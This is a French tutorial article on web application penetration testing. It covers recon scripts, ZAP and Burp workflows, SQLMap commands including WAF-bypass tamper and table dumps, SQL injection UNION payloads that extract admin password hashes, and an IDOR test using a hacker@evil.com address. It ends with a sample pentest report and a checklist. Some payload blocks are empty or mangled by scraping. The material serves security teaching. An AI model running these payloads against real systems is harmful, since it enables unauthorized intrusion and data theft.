Avance 15 min de lecture · 3 237 mots

Pentest d’Application Web : Méthodologie et Outils

Estimated reading time: 16 minutes

Introduction : L’Art du Hacking Éthique

Le pentest (test d’intrusion) est une évaluation de sécurité qui simule une attaque réelle pour identifier les vulnérabilités d’une application web avant qu’un attaquant malveillant ne les découvre. En 2025, avec l’augmentation des cyberattaques sophistiquées, le pentest est devenu un élément indispensable du cycle de développement.

Ce guide complet explore la méthodologie professionnelle de pentest d’applications web, les outils essentiels (OWASP ZAP, Burp Suite, SQLMap), et les techniques d’exploitation responsables. L’objectif est éducatif : apprendre à défendre en comprenant comment on attaque.

Méthodologie de Pentest : Approche Professionnelle

Phases d’un Pentest Web

1. RECONNAISSANCE (Passive + Active)
   ↓
  • ÉNUMÉRATION (Cartographie de l'application)
  • ANALYSE DES VULNÉRABILITÉS (Scan automatisé + manuel)
  • EXPLOITATION (Preuve de concept)
  • POST-EXPLOITATION (Pivot, élévation de privilèges)
  • RAPPORT (Documentation des findings)
# IMPORTANT : Cadre Légal du Pentest

## Autorisations Obligatoires
  • Contrat de pentest signé par le client
  • Périmètre défini et documenté
  • Fenêtre temporelle définie
  • Contacts d'urgence identifiés
  • ## Interdit Sans Autorisation
  • Tester des systèmes dont vous n'êtes pas propriétaire
  • Exploitation de vulnérabilités hors périmètre
  • Exfiltration de données réelles
  • Déni de service (DoS)
  • ## Responsabilités
  • Confidentialité absolue des données découvertes
  • Documentation sécurisée des findings
  • Suppression des backdoors/shells après le test
  • Non-divulgation publique sans accord
  • Phase 1 : Reconnaissance

    Reconnaissance Passive (OSINT)

    #!/bin/bash
    # reconnaissance-passive.sh - Collecte d'informations sans toucher la cible
    
    TARGETDOMAIN="example.com"
    
    echo "=== Reconnaissance Passive de $TARGETDOMAIN ==="
    echo
    
    # 1. Whois - Informations sur le domaine
    echo "[+] WHOIS Lookup:"
    whois $TARGETDOMAIN | grep -E "Organization|Admin Email|Creation Date"
    echo
    
    # 2. DNS Records
    echo "[+] DNS Records:"
    dig $TARGETDOMAIN ANY +noall +answer
    dig $TARGETDOMAIN MX +short
    dig $TARGETDOMAIN TXT +short
    echo
    
    # 3. Sous-domaines (via Certificate Transparency)
    echo "[+] Sous-domaines (crt.sh):"
    curl -s "https://crt.sh/?q=%.$TARGETDOMAIN&output=json" | 
      jq -r '.[].namevalue' | sort -u | head -20
    echo
    
    # 4. Technologies utilisées (via BuiltWith API)
    echo "[+] Technologies détectées:"
    # Requiert une API key gratuite
    curl -s "https://api.builtwith.com/free1/api.json?KEY=YOURKEY&LOOKUP=$TARGETDOMAIN"
    echo
    
    # 5. Historique de l'application (Wayback Machine)
    echo "[+] Historique Wayback Machine:"
    curl -s "http://archive.org/wayback/available?url=$TARGETDOMAIN" | jq -r '.archivedsnapshots.closest.url'
    echo
    
    # 6. Google Dorking (recherches avancées)
    echo "[+] Google Dorks à tester manuellement:"
    echo "   site:$TARGETDOMAIN filetype:pdf"
    echo "   site:$TARGETDOMAIN inurl:admin"
    echo "   site:$TARGETDOMAIN ext:sql | ext:log | ext:bak"
    echo "   site:$TARGETDOMAIN intext:"index of" "parent directory""
    

    Reconnaissance Active

    #!/bin/bash
    # reconnaissance-active.sh - Scan du périmètre
    
    TARGET="example.com"
    TARGETIP=$(dig +short $TARGET | head -1)
    
    echo "=== Reconnaissance Active de $TARGET ($TARGETIP) ==="
    echo
    
    # 1. Scan de ports avec Nmap
    echo "[+] Scan de ports (Nmap):"
    nmap -sV -sC -p- -T4 -oN nmap-scan.txt $TARGETIP
    
    # Ports web communs
    nmap -p 80,443,8080,8443 --script=http-enum,http-headers,http-methods $TARGETIP
    
    # 2. Technologies détectées
    echo "[+] Technologies (Wappalyzer CLI):"
    npm install -g wappalyzer
    wappalyzer $TARGET
    
    # 3. Headers HTTP
    echo "[+] Headers HTTP:"
    curl -sI https://$TARGET | grep -E "Server|X-Powered-By|X-AspNet-Version"
    
    # 4. Robots.txt et sitemap
    echo "[+] Fichiers de découverte:"
    curl -s https://$TARGET/robots.txt
    curl -s https://$TARGET/sitemap.xml
    
    # 5. Fichiers sensibles courants
    echo "[+] Test de fichiers sensibles:"
    for file in ".git/HEAD" ".env" "config.php.bak" "phpinfo.php" ".DSStore"; do
        status=$(curl -s -o /dev/null -w "%{httpcode}" "https://$TARGET/$file")
        if [ "$status" = "200" ]; then
            echo "   ✓ FOUND: $file (HTTP $status)"
        fi
    done
    

    Phase 2 : Énumération avec OWASP ZAP

    Installation et Configuration OWASP ZAP

    # Installation de ZAP sur Linux
    wget https://github.com/zaproxy/zaproxy/releases/download/v2.14.0/ZAP2.14.0Linux.tar.gz
    tar -xvf ZAP2.14.0Linux.tar.gz
    cd ZAP2.14.0/
    ./zap.sh
    
    # Ou via Docker
    docker pull zaproxy/zap-stable
    docker run -u zap -p 8080:8080 -i zaproxy/zap-stable zap-webswing.sh
    

    Scan Automatisé avec ZAP

    #!/bin/bash
    # zap-scan.sh - Scan automatisé avec OWASP ZAP
    
    ZAPPATH="/opt/zaproxy/zap.sh"
    TARGETURL="https://example.com"
    REPORTDIR="./pentest-reports"
    APIKEY="your-zap-api-key"
    
    mkdir -p "$REPORTDIR"
    
    echo "=== OWASP ZAP Automated Scan ==="
    echo "Target: $TARGETURL"
    echo
    
    # 1. Spider (cartographie)
    echo "[+] Phase 1: Spidering..."
    $ZAPPATH -cmd -quickurl "$TARGETURL" -quickprogress
    
    # 2. Scan actif (détection de vulnérabilités)
    echo "[+] Phase 2: Active Scanning..."
    $ZAPPATH -cmd 
      -quickurl "$TARGETURL" 
      -quickout "$REPORTDIR/zap-report-$(date +%Y%m%d-%H%M%S).html"
    
    # 3. Générer rapport JSON
    echo "[+] Phase 3: Génération du rapport..."
    curl -s "http://localhost:8080/JSON/core/view/alerts/?apikey=$APIKEY" | 
      jq . > "$REPORTDIR/zap-alerts.json"
    
    # 4. Analyser les résultats
    echo
    echo "=== Résumé des Vulnérabilités ==="
    jq -r '.alerts[] | "(.risk): (.alert) ((.count))"' "$REPORTDIR/zap-alerts.json" | 
      sort -r
    

    Configuration ZAP pour Authentification

    # zap-auth-scan.py - Scan avec authentification
    from zapv2 import ZAPv2
    import time
    
    # Connexion à ZAP
    zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'})
    
    target = 'https://example.com'
    loginurl = 'https://example.com/login'
    
    # 1. Accéder à la page de login
    print('[+] Accessing login page...')
    zap.urlopen(loginurl)
    
    # 2. Soumettre le formulaire de login
    print('[+] Logging in...')
    zap.urlopen(loginurl + '?username=testuser&password=testpass')
    time.sleep(2)
    
    # 3. Vérifier l'authentification
    if 'logout' in zap.core.htmlreport():
        print('[+] Authentification réussie')
    else:
        print('[!] Échec de l'authentification')
        exit(1)
    
    # 4. Spider en étant authentifié
    print('[+] Spidering as authenticated user...')
    scanid = zap.spider.scan(target)
    while int(zap.spider.status(scanid)) < 100:
        print(f'Spider progress: {zap.spider.status(scanid)}%')
        time.sleep(2)
    
    # 5. Scan actif
    print('[+] Active scanning...')
    scanid = zap.ascan.scan(target)
    while int(zap.ascan.status(scanid)) < 100:
        print(f'Scan progress: {zap.ascan.status(scanid)}%')
        time.sleep(5)
    
    # 6. Récupérer les alertes
    print('[+] Generating report...')
    alerts = zap.core.alerts(baseurl=target)
    
    for alert in alerts:
        print(f"n{alert['risk']} - {alert['alert']}")
        print(f"URL: {alert['url']}")
        print(f"Description: {alert['description'][:100]}...")
    
    # 7. Sauvegarder le rapport
    with open('zap-report.html', 'w') as f:
        f.write(zap.core.htmlreport())
    
    print('n[+] Rapport sauvegardé: zap-report.html')
    

    Phase 3 : Analyse avec Burp Suite

    Interception et Manipulation de Requêtes

    # Burp Suite : Workflow Professionnel
    
    ## 1. Configuration du Proxy
    
  • Burp Suite écoute sur 127.0.0.1:8080
  • Configurer le navigateur pour utiliser ce proxy
  • Installer le certificat CA de Burp pour HTTPS
  • ## 2. Target Scope
  • Définir le scope: example.com/
  • Exclure: analytics, CDN externes
  • Filtrer le trafic uniquement dans le scope
  • ## 3. Spider
  • Crawl passif en naviguant manuellement
  • Crawler actif pour découvrir endpoints cachés
  • Analyser la sitemap générée
  • ## 4. Intruder (Fuzzing)
  • Identifier les points d'injection
  • Charger des payloads (SQL, XSS, etc.)
  • Analyser les réponses pour détecter anomalies
  • ## 5. Repeater
  • Rejouer des requêtes modifiées
  • Tester différents payloads manuellement
  • Analyser les réponses en détail
  • Exemple : Découvrir une Vulnérabilité SQL Injection

    # Requête originale interceptée dans Burp Suite
    POST /api/users/search HTTP/1.1
    Host: example.com
    Content-Type: application/json
    
    {
      "search": "john"
    }
    
    # Test 1 : Simple quote (détecter l'erreur SQL)
    {
      "search": "john'"
    }
    # Réponse : 500 Internal Server Error
    # "You have an error in your SQL syntax..."
    # → Vulnérabilité SQL Injection confirmée !
    
    # Test 2 : Union-based injection (extraire des données)
    {
      "search": "john' UNION SELECT 1,username,password,4 FROM admins--"
    }
    # Réponse : Liste des admins avec hashes de mots de passe
    
    # Test 3 : Time-based blind injection (si pas de retour direct)
    {
      "search": "john' AND SLEEP(5)--"
    }
    # Temps de réponse : 5 secondes → Confirmation de l'injection
    
    # Preuve de concept sécurisée (ne pas exfiltrer de vraies données)
    {
      "search": "john' UNION SELECT 1,2,DATABASE(),4--"
    }
    # Réponse : Nom de la base de données → POC suffisant pour le rapport
    

    Phase 4 : Exploitation avec SQLMap

    SQL Injection Automatisée

    #!/bin/bash
    # sqlmap-exploitation.sh - Exploitation automatisée de SQL injection
    
    TARGETURL="https://example.com/api/users/search"
    
    echo "=== SQLMap Exploitation ==="
    echo "Target: $TARGETURL"
    echo
    
    # 1. Détection de la vulnérabilité
    echo "[+] Phase 1: Détection de SQL injection..."
    sqlmap -u "$TARGETURL" 
      --data='{"search":"test"}' 
      --method=POST 
      --headers="Content-Type: application/json" 
      --batch 
      --level=5 
      --risk=3
    
    # 2. Énumération des bases de données
    echo "[+] Phase 2: Énumération des bases de données..."
    sqlmap -u "$TARGETURL" 
      --data='{"search":"test"}' 
      --method=POST 
      --headers="Content-Type: application/json" 
      --dbs 
      --batch
    
    # 3. Énumération des tables
    echo "[+] Phase 3: Énumération des tables de 'myappdb'..."
    sqlmap -u "$TARGETURL" 
      --data='{"search":"test"}' 
      --method=POST 
      --headers="Content-Type: application/json" 
      -D myappdb 
      --tables 
      --batch
    
    # 4. Dumper le contenu d'une table (AVEC PRÉCAUTION)
    echo "[+] Phase 4: Extraction de données (colonnes uniquement)..."
    sqlmap -u "$TARGETURL" 
      --data='{"search":"test"}' 
      --method=POST 
      --headers="Content-Type: application/json" 
      -D myappdb 
      -T users 
      --columns 
      --batch
    
    # ATTENTION : Ne jamais dumper de vraies données utilisateurs
    # Pour le pentest, extraire seulement :
    # - La structure (colonnes)
    # - 1-2 lignes de test
    # - Le compte de lignes
    
    # 5. OS Shell (si possible, TRÈS DANGEREUX)
    # sqlmap -u "$TARGETURL" --os-shell
    # ⚠️ Ne faire qu'avec autorisation explicite
    
    echo
    echo "[+] Exploitation terminée. Vérifier les rapports dans ~/.sqlmap/output/"
    

    SQLMap : Options Avancées

    # Exploitation avec authentification
    sqlmap -u "https://example.com/profile?id=1" 
      --cookie="PHPSESSID=abc123xyz" 
      --level=5 
      --risk=3
    
    # Exploitation via requête GET avec paramètres multiples
    sqlmap -u "https://example.com/search?q=&category=&page=1" 
      --batch
    
    # Exploitation avec WAF bypass
    sqlmap -u "https://example.com/api/search" 
      --data='search=test' 
      --tamper=space2comment,between 
      --random-agent 
      --delay=2
    
    # Exploitation time-based (plus lente mais furtive)
    sqlmap -u "https://example.com/product?id=1" 
      --technique=T 
      --time-sec=5
    
    # Dump sélectif (seulement certaines colonnes)
    sqlmap -u "https://example.com/user?id=1" 
      -D myapp 
      -T users 
      -C id,username,email 
      --dump 
      --stop=5  # Seulement 5 lignes
    

    Autres Vulnérabilités à Tester

    XSS (Cross-Site Scripting)

    #!/bin/bash
    # xss-testing.sh - Tester les vulnérabilités XSS
    
    TARGET="https://example.com/search?q="
    
    # Payloads XSS à tester
    PAYLOADS=(
      ""
      ""
      ""
      "javascript:alert('XSS')"
      ""
      "'-alert('XSS')-'"
      "">"
    )
    
    echo "=== XSS Testing ==="
    echo
    
    for payload in "${PAYLOADS[@]}"; do
        encoded=$(echo "$payload" | jq -sRr @uri)
        url="${TARGET}${encoded}"
    
        echo "[+] Testing: $payload"
    
        response=$(curl -s "$url")
    
        # Vérifier si le payload est présent dans la réponse (non échappé)
        if echo "$response" | grep -q "$payload"; then
            echo "    [!] VULNERABLE: Payload reflété sans échappement"
        else
            echo "    [✓] Safe: Payload échappé ou filtré"
        fi
    done
    
    

    CSRF (Cross-Site Request Forgery)

    
    
    
    
        CSRF Test
    
    
        # Test CSRF - Suppression de compte
    
        
    
        

    Preuve de concept CSRF
    Si l'application n'utilise pas de token CSRF, soumettre ce formulaire exécutera l'action de suppression de compte à l'insu de l'utilisateur.

    IDOR (Insecure Direct Object Reference)

    #!/bin/bash
    # idor-testing.sh - Tester les vulnérabilités IDOR
    
    # Scénario : API REST avec endpoints d'utilisateurs
    
    BASEURL="https://example.com/api"
    AUTHTOKEN="Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    
    echo "=== IDOR Testing ==="
    echo
    
    # Créer un utilisateur de test (ID 100)
    # Créer un autre utilisateur (ID 101)
    
    # Test 1 : Accéder à son propre profil (légitime)
    echo "[+] Test 1: Accès légitime (propre profil)"
    curl -s -H "Authorization: $AUTHTOKEN" 
      "$BASEURL/users/100" | jq -r '.username'
    
    # Test 2 : Tenter d'accéder au profil d'un autre utilisateur
    echo "[+] Test 2: Tentative d'accès à un autre profil (IDOR)"
    response=$(curl -s -o /dev/null -w "%{httpcode}" 
      -H "Authorization: $AUTHTOKEN" 
      "$BASEURL/users/101")
    
    if [ "$response" = "200" ]; then
        echo "    [!] VULNERABLE: IDOR détecté - Accès non autorisé possible"
        curl -s -H "Authorization: $AUTHTOKEN" "$BASEURL/users/101" | jq .
    elif [ "$response" = "403" ] || [ "$response" = "401" ]; then
        echo "    [✓] Safe: Accès refusé (HTTP $response)"
    else
        echo "    [?] Réponse inattendue: HTTP $response"
    fi
    
    # Test 3 : Modifier le profil d'un autre utilisateur
    echo "[+] Test 3: Tentative de modification d'un autre profil"
    response=$(curl -s -o /dev/null -w "%{httpcode}" 
      -X PUT 
      -H "Authorization: $AUTHTOKEN" 
      -H "Content-Type: application/json" 
      -d '{"email":"hacker@evil.com"}' 
      "$BASEURL/users/101")
    
    if [ "$response" = "200" ]; then
        echo "    [!] CRITICAL: Modification non autorisée possible"
    else
        echo "    [✓] Safe: Modification refusée (HTTP $response)"
    fi
    

    Exploitation Avancée : Chaîne d’Attaques

    Scénario Réel : XSS → Session Hijacking → Account Takeover

    // 1. Payload XSS pour voler le cookie de session
    // Injecté dans un champ vulnérable (ex: nom d'utilisateur)
    
    
    
    // 2. Serveur de l'attaquant (webhook.site ou serveur custom)
    // Reçoit : PHPSESSID=abc123xyz; userid=42
    
    // 3. L'attaquant utilise le cookie volé
    // curl -b "PHPSESSID=abc123xyz" https://example.com/account
    // → Accède au compte de la victime sans mot de passe
    
    // 4. Preuve de concept éthique (pour le rapport)
    
    

    Phase 5 : Rapport de Pentest

    Structure du Rapport

    # Rapport de Test d'Intrusion
    Application Web: example.com
    Date: 2025-01-15
    Pentester: [Nom]
    Niveau: Complet (Black Box + Grey Box)
    
    ## 1. Résumé Exécutif
    
    ### Synthèse
    L'application présente 3 vulnérabilités critiques et 5 vulnérabilités moyennes
    nécessitant une correction immédiate avant la mise en production.
    
    ### Score de Risque Global: 7.8/10 (Élevé)
    
    ### Vulnérabilités Critiques
    
  • SQL Injection (CVSS 9.8) - /api/users/search
  • XSS Stored (CVSS 8.1) - /profile/edit
  • IDOR (CVSS 7.5) - /api/documents/:id
  • ## 2. Méthodologie ### Périmètre
  • URLs testées: example.com, api.example.com, admin.example.com
  • Période: 2025-01-10 au 2025-01-15
  • Type: Grey Box (credentials de test fournis)
  • ### Outils Utilisés
  • OWASP ZAP 2.14.0
  • Burp Suite Professional 2024.1
  • SQLMap 1.7.12
  • Nmap 7.94
  • Custom scripts
  • ### Limitations
  • Tests DoS exclus (selon contrat)
  • Tests de Social Engineering exclus
  • Tests d'infrastructure réseau limités
  • ## 3. Findings Détaillés ### [CRITICAL] SQL Injection - /api/users/search CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H #### Description Le paramètre search de l'endpoint /api/users/search est vulnérable à une injection SQL permettant à un attaquant non authentifié d'extraire l'intégralité de la base de données. #### Preuve de Concept

    http
    POST /api/users/search HTTP/1.1
    Host: example.com
    Content-Type: application/json

    {
    « search »: « test’ UNION SELECT 1,username,password,4 FROM admins–« 
    }

    Résultat: Extraction des hashes de mots de passe des administrateurs.
    
    #### Impact
    
  • Exfiltration complète de la base de données (clients, commandes, données bancaires)
  • Modification de données (prix, stocks)
  • Possible prise de contrôle du serveur (OS command injection via SQL)
  • #### Recommandations
  • Immédiat: Utiliser des requêtes préparées (Prepared Statements)
  • Court terme: Implémenter une WAF avec règles anti-SQLi
  • Long terme: Code review complet de tous les points d'accès BDD
  • #### Code de Remédiation

    php
    // ❌ Code vulnérable
    $sql = « SELECT FROM users WHERE username LIKE ‘%{$search}%' »;
    $result = $pdo->query($sql);

    // ✅ Code sécurisé
    $stmt = $pdo->prepare(« SELECT * FROM users WHERE username LIKE ? »);
    $stmt->execute([‘%’ . $search . ‘%’]);
    $result = $stmt->fetchAll();

    ### [CRITICAL] XSS Stored - /profile/edit
    
    CVSS Score: 8.1 (High)
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    
    #### Description
    Le champ "Bio" du profil utilisateur ne sanitise pas les entrées HTML,
    permettant le stockage de scripts malveillants exécutés par tous les visiteurs.
    
    #### Preuve de Concept
    

    html

    #### Impact
    
  • Vol de session (session hijacking)
  • Defacement de la page
  • Redirection vers site malveillant
  • Keylogging
  • #### Recommandations
  • Échapper toutes les sorties HTML (htmlspecialchars())
  • Implémenter CSP strict
  • Validation côté serveur (whitelist de tags autorisés)
  • ## 4. Récapitulatif des Vulnérabilités | Sévérité | Nombre | Exemples | |----------|--------|----------| | Critical | 3 | SQL Injection, XSS Stored, IDOR | | High | 5 | CSRF, Information Disclosure, Weak Auth | | Medium | 8 | Missing Security Headers, Outdated Libraries | | Low | 12 | Verbose Errors, Autocomplete Enabled | | Info | 15 | SSL Config, Cookie Flags | Total: 43 findings ## 5. Plan de Remédiation Prioritaire ### Semaine 1 (URGENT)
  • [ ] Corriger SQL Injection (/api/users/search)
  • [ ] Corriger XSS Stored (/profile/edit)
  • [ ] Corriger IDOR (/api/documents/:id)
  • ### Semaine 2-3
  • [ ] Implémenter protection CSRF globale
  • [ ] Configurer headers de sécurité (CSP, HSTS, etc.)
  • [ ] Audit complet des accès non autorisés
  • ### Semaine 4+
  • [ ] Mettre à jour les dépendances vulnérables
  • [ ] Implémenter rate limiting
  • [ ] Configurer logging de sécurité
  • ## 6. Conclusion L'application présente des vulnérabilités critiques qui doivent être corrigées avant toute mise en production. Un retest est recommandé après correction pour valider les remèdes. ### Recommandations Globales
  • Intégrer SAST/DAST dans le CI/CD
  • Formation sécurité pour l'équipe dev
  • Pentests réguliers (tous les 6 mois)
  • Bug bounty program
  • --- Rapport confidentiel - Ne pas diffuser sans autorisation

    Outils Complémentaires

    Nikto : Scanner de Serveur Web

    # Scan complet avec Nikto
    nikto -h https://example.com -output nikto-report.html -Format html
    
    # Scan avec authentification
    nikto -h https://example.com -id username:password
    
    # Scan ciblé (plugins spécifiques)
    nikto -h https://example.com -Plugins "headers,cookies,ssl"
    

    WPScan : Scanner WordPress

    # Scan WordPress complet
    wpscan --url https://example.com --enumerate ap,at,cb,dbe
    
    # Avec API token pour vulnérabilités connues
    wpscan --url https://example.com --api-token YOURTOKEN
    
    # Brute force (avec autorisation)
    wpscan --url https://example.com --passwords passwords.txt --usernames admin
    

    Nuclei : Scanner de Vulnérabilités Moderne

    # Installation
    go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
    
    # Scan avec tous les templates
    nuclei -u https://example.com -t ~/nuclei-templates/
    
    # Scan sévérité critique uniquement
    nuclei -u https://example.com -severity critical,high
    
    # Scan technologies spécifiques
    nuclei -u https://example.com -tags cve,owasp,exposure
    

    Checklist de Pentest Web

    # Checklist Pentest Application Web
    
    ## Reconnaissance
    
  • [ ] WHOIS et DNS enumeration
  • [ ] Sous-domaines découverts
  • [ ] Technologies identifiées
  • [ ] Historique Wayback Machine consulté
  • [ ] Google Dorking effectué
  • ## Cartographie
  • [ ] Spider automatique (ZAP/Burp)
  • [ ] Énumération manuelle des endpoints
  • [ ] Analyse du JavaScript (endpoints cachés)
  • [ ] Analyse des fichiers statiques (robots.txt, sitemap.xml)
  • ## Authentification
  • [ ] Politique de mots de passe testée
  • [ ] Brute force testé (avec rate limiting)
  • [ ] Récupération de mot de passe testée
  • [ ] 2FA bypassable?
  • [ ] Session management (timeout, fixation, hijacking)
  • ## Autorisation
  • [ ] IDOR testé sur tous les endpoints
  • [ ] Élévation de privilèges tentée
  • [ ] Accès horizontal testé (utilisateur A → B)
  • [ ] Accès vertical testé (user → admin)
  • ## Injection
  • [ ] SQL Injection (GET, POST, Headers, Cookies)
  • [ ] NoSQL Injection
  • [ ] Command Injection
  • [ ] LDAP Injection
  • [ ] XML Injection (XXE)
  • ## XSS
  • [ ] XSS Reflected (tous les inputs)
  • [ ] XSS Stored
  • [ ] XSS DOM-based
  • [ ] CSP bypass tenté
  • ## Autres Vulnérabilités
  • [ ] CSRF sur actions sensibles
  • [ ] SSRF testé
  • [ ] File Upload (RCE, path traversal)
  • [ ] XXE (XML External Entity)
  • [ ] Deserialization
  • ## Configuration
  • [ ] Headers de sécurité analysés
  • [ ] SSL/TLS configuration
  • [ ] CORS configuration
  • [ ] Dépendances vulnérables (npm audit, composer audit)
  • ## Logique Métier
  • [ ] Race conditions
  • [ ] Prix manipulation
  • [ ] Workflow bypass
  • [ ] Limites métier respectées
  • Conclusion

    Le pentest d’application web est un exercice complexe qui combine compétences techniques, créativité et éthique. Les outils automatisés (ZAP, Burp, SQLMap) sont puissants mais ne remplacent pas l’analyse manuelle et la compréhension de la logique métier.

    Points Clés

  • Toujours avoir une autorisation : Pentest sans accord = illégal
  • Documentez tout : Chaque test, chaque finding, chaque POC
  • Soyez responsable : Ne causez pas de dommages, ne volez pas de données
  • Communiquez : Alertez immédiatement en cas de vulnérabilité critique
  • Améliorez la sécurité : L’objectif est de défendre, pas d’attaquer
  • Le pentest n’est pas une activité ponctuelle mais un processus continu dans le cycle de développement sécurisé.

    Une remarque, un retour ?

    Cet article est vivant — corrections, contre-arguments et retours de production sont les bienvenus. Trois canaux, choisissez celui qui vous convient.